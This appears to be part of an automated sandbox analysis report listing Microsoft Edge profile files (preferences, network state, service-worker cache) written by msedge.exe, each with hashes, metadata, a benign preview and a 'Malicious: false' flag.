C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2645d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27342.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d6cd01c3-3d63-48d1-80b7-bed7f7a23ac9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.1113665667369945
Encrypted:	false
SSDEEP:	192:strikdp9sDFAjyaNP9ka3GPr8abV+FX08QAMaPOYJ:stmQ9s5AjtJH3GbGFQa
MD5:	29C77EB192C97FBAE5E5A7CA6936B08E
SHA1:	D5EF366CA0C73DFAEF225521BED389A9DD6627B0
SHA-256:	48EBB56F0CFAD4BF99A3BCD8A980377A0809FA01D2A70683655A40322B0A7F9D
SHA-512:	F426C04CBB7EE7E6D715F504062D668AE9BCA60E03777DB6FC90F38ECD833CADF2ED493A047064A888E1905EFBE344F604F8860EB784A84B76E13572CF47DCFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2a87b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.1113665667369945
Encrypted:	false
SSDEEP:	192:strikdp9sDFAjyaNP9ka3GPr8abV+FX08QAMaPOYJ:stmQ9s5AjtJH3GbGFQa
MD5:	29C77EB192C97FBAE5E5A7CA6936B08E
SHA1:	D5EF366CA0C73DFAEF225521BED389A9DD6627B0
SHA-256:	48EBB56F0CFAD4BF99A3BCD8A980377A0809FA01D2A70683655A40322B0A7F9D
SHA-512:	F426C04CBB7EE7E6D715F504062D668AE9BCA60E03777DB6FC90F38ECD833CADF2ED493A047064A888E1905EFBE344F604F8860EB784A84B76E13572CF47DCFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2d9db.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.1113665667369945
Encrypted:	false
SSDEEP:	192:strikdp9sDFAjyaNP9ka3GPr8abV+FX08QAMaPOYJ:stmQ9s5AjtJH3GbGFQa
MD5:	29C77EB192C97FBAE5E5A7CA6936B08E
SHA1:	D5EF366CA0C73DFAEF225521BED389A9DD6627B0
SHA-256:	48EBB56F0CFAD4BF99A3BCD8A980377A0809FA01D2A70683655A40322B0A7F9D
SHA-512:	F426C04CBB7EE7E6D715F504062D668AE9BCA60E03777DB6FC90F38ECD833CADF2ED493A047064A888E1905EFBE344F604F8860EB784A84B76E13572CF47DCFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF30abf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.1113665667369945
Encrypted:	false
SSDEEP:	192:strikdp9sDFAjyaNP9ka3GPr8abV+FX08QAMaPOYJ:stmQ9s5AjtJH3GbGFQa
MD5:	29C77EB192C97FBAE5E5A7CA6936B08E
SHA1:	D5EF366CA0C73DFAEF225521BED389A9DD6627B0
SHA-256:	48EBB56F0CFAD4BF99A3BCD8A980377A0809FA01D2A70683655A40322B0A7F9D
SHA-512:	F426C04CBB7EE7E6D715F504062D668AE9BCA60E03777DB6FC90F38ECD833CADF2ED493A047064A888E1905EFBE344F604F8860EB784A84B76E13572CF47DCFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF35e0f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.1113665667369945
Encrypted:	false
SSDEEP:	192:strikdp9sDFAjyaNP9ka3GPr8abV+FX08QAMaPOYJ:stmQ9s5AjtJH3GbGFQa
MD5:	29C77EB192C97FBAE5E5A7CA6936B08E
SHA1:	D5EF366CA0C73DFAEF225521BED389A9DD6627B0
SHA-256:	48EBB56F0CFAD4BF99A3BCD8A980377A0809FA01D2A70683655A40322B0A7F9D
SHA-512:	F426C04CBB7EE7E6D715F504062D668AE9BCA60E03777DB6FC90F38ECD833CADF2ED493A047064A888E1905EFBE344F604F8860EB784A84B76E13572CF47DCFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557631219073193
Encrypted:	false
SSDEEP:	768:5/POB+7pLGLPLCWPXPfhg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXu/Bfrwip8tuX:5/POB+cPLCWPXPfhgu1jaKaBsdtE
MD5:	E5C66B70302263C87D07972DCBEB23D2
SHA1:	F0D6063351407CCE0510A34F84A3C5E1C1FEA94E
SHA-256:	782B3F22CA484B7E6C62F7DDDD3FB5EF3D492868565C83AB37F4DA40EC3B6BDA
SHA-512:	4DD1F99C342DDA6D6C69A5764B3A8386B96F2702F3B412ACAB4465A0E8C92BC506DAA1415C46FB001FD37FC73A342169A6D557050516E6A2CA664C25444EAED1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377202374725362","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377202374725362","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2a88a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557631219073193
Encrypted:	false
SSDEEP:	768:5/POB+7pLGLPLCWPXPfhg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXu/Bfrwip8tuX:5/POB+cPLCWPXPfhgu1jaKaBsdtE
MD5:	E5C66B70302263C87D07972DCBEB23D2
SHA1:	F0D6063351407CCE0510A34F84A3C5E1C1FEA94E
SHA-256:	782B3F22CA484B7E6C62F7DDDD3FB5EF3D492868565C83AB37F4DA40EC3B6BDA
SHA-512:	4DD1F99C342DDA6D6C69A5764B3A8386B96F2702F3B412ACAB4465A0E8C92BC506DAA1415C46FB001FD37FC73A342169A6D557050516E6A2CA664C25444EAED1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377202374725362","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377202374725362","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e778.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557631219073193
Encrypted:	false
SSDEEP:	768:5/POB+7pLGLPLCWPXPfhg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXu/Bfrwip8tuX:5/POB+cPLCWPXPfhgu1jaKaBsdtE
MD5:	E5C66B70302263C87D07972DCBEB23D2
SHA1:	F0D6063351407CCE0510A34F84A3C5E1C1FEA94E
SHA-256:	782B3F22CA484B7E6C62F7DDDD3FB5EF3D492868565C83AB37F4DA40EC3B6BDA
SHA-512:	4DD1F99C342DDA6D6C69A5764B3A8386B96F2702F3B412ACAB4465A0E8C92BC506DAA1415C46FB001FD37FC73A342169A6D557050516E6A2CA664C25444EAED1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377202374725362","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377202374725362","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.8412954571479
Encrypted:	false
SSDEEP:	24:F2xc5Nmgcncmo0CRORpllg2D7fRHDVdCRORpllg2Sc03osxo/KCRORpllg2D+RHD:F2emxtrdD7fB5XrdYxHrdD+BCrdRBo
MD5:	8399DB40FE1CE4976497663CAF8E327E
SHA1:	6501568DB9AD011D503D0F2317692EB7ACC2140E
SHA-256:	930D139D8A58AAA26DA8E4042817176F9332CC885FB49B55354DE2772E8C8BB7
SHA-512:	2FB163A8002CC8950686789DA30760A00956F2CBB7B3ED32549DA11BEB784B9BEF9521987C4057ECCA0E4428D05EB9AF0EDC08F809931B620BC7EFCAA6C7D4AB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2}...m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.168020341706538
Encrypted:	false
SSDEEP:	6:HC561cNwi23oH+TcwtE/a252KLlVC5F4+q2PcNwi23oH+TcwtE/a2ZIFUv:lZYeb8xLSNvLZYeb8J2FUv
MD5:	EA0672B5A23946BDB8C5FF232729718C
SHA1:	890487FA2A6D32446B765E182BD599A8BA7E0BF7
SHA-256:	84DD430F4551D0C0CF0388180999A1B04691B3C9046EB92C85A5436867DC3D2B
SHA-512:	B2F67A06470F4E6715BBDB1C5732902EEAE0ACECA2C7B019BDC307D24945AA6AEB72BAEB94F6A1E1AB5F631F9DFF2EA77F1E968FDD50F2FDF4F62D33B924E171
Malicious:	false
Preview:	2024/11/27-12:33:16.232 1448 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/27-12:33:16.243 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578977624676337
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgzA:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFM
MD5:	AB90E2D95CCFE6748E9EB0CE31BA2F83
SHA1:	5683BC90A17645C674B33C9B8426B6D9624E8AB6
SHA-256:	DA9C259053ABBD8B9A67FABECC0C6DB20F0A0C15BFC22F468D28473EAB7F641E
SHA-512:	9E0637E7E48D75C0FC3C1C543E6E8D243E76E8C738E251DBB13BCBA93DE89707A8FC0B75FA5637DD3F705ABFC5A090088F2E72548A5A188F0117CA93E62C00E1
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.385369687846661
Encrypted:	false
SSDEEP:	3072:6HefkLyX+lVwHtG4jLRL/UvMNl40xaDpX4x8V8W:CVwgC1L/muFxtaX
MD5:	19C87036FF7B094F562E38355C6F6BC8
SHA1:	5E3D6ECBDE95D9CC7E7A01B27393B9FCD9F132F4
SHA-256:	E482B3FCA82D188A3D571B3927713689C6BF00F38E8B8D7C5C3999BF3722AA44
SHA-512:	624A5690E99281B669514AA0C60972D884F8BEEA6B44F166FB5C7787B680DAEA38B22F9FC531CCCF504584C44BB58D0FF53BE3541B903D85C77F8FD21217F219
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.p........,T.8..`,.....L`.....,T...`......L`......Rc...t....exports...Rc.V......module....Rc~O......define....Rb.r......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..ue.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
